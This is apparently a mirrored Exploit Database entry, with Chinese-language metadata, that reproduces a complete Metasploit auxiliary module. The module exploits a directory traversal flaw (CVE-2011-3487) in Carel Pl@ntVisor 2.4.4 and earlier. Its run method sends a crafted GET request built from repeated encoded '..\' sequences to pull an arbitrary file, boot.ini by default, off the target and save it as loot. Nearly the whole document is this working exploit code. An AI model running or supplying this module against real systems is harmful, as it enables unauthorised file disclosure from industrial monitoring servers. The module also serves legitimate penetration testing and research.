Carel PlantVisor 2.4.4 – Directory Traversal Information Disclosure (Metasploit)

• Exploit Database
• 14 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42706/

• require 'msf/core'
  
  class MetasploitModule < Msf::Auxiliary
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Carel Pl@ntVisor Directory Traversal',
  			'Description'=> %q{
  				This module exploits a directory traversal vulnerability
  				found in Carel Pl@ntVisor <= 2.4.4. The vulnerability is
  				triggered by sending a specially crafted GET request to the
  				victim server.
  			},
  			'Author' => [ 'james fitts' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2011-3487' ],
  					[ 'BID', '49601' ],
  				],
  			'DisclosureDate' => 'Jun 29 2012'))
  
  		register_options(
  			[
  				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
  				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
  				Opt::RPORT(80)
  			], self.class )
  	end
  
  	def run
  
  	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
  	levels = "/" + ("..%5c" * depth)
  
  	res = send_request_raw({
  		'method'	=> 'GET',
  		'uri'		=> "#{levels}#{datastore['FILE']}",
  	})
  
  	if res and res.code == 200
  		loot = res.body
  		if not loot or loot.empty?
  			print_status("File from #{rhost}:#{rport} is empty...")
  			return
  		end
  		file = ::File.basename(datastore['FILE'])
  		path = store_loot('plantvisor.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
  		print_status("Stored #{datastore['FILE']} to #{path}")
  		return
  	end
  
  	end
  end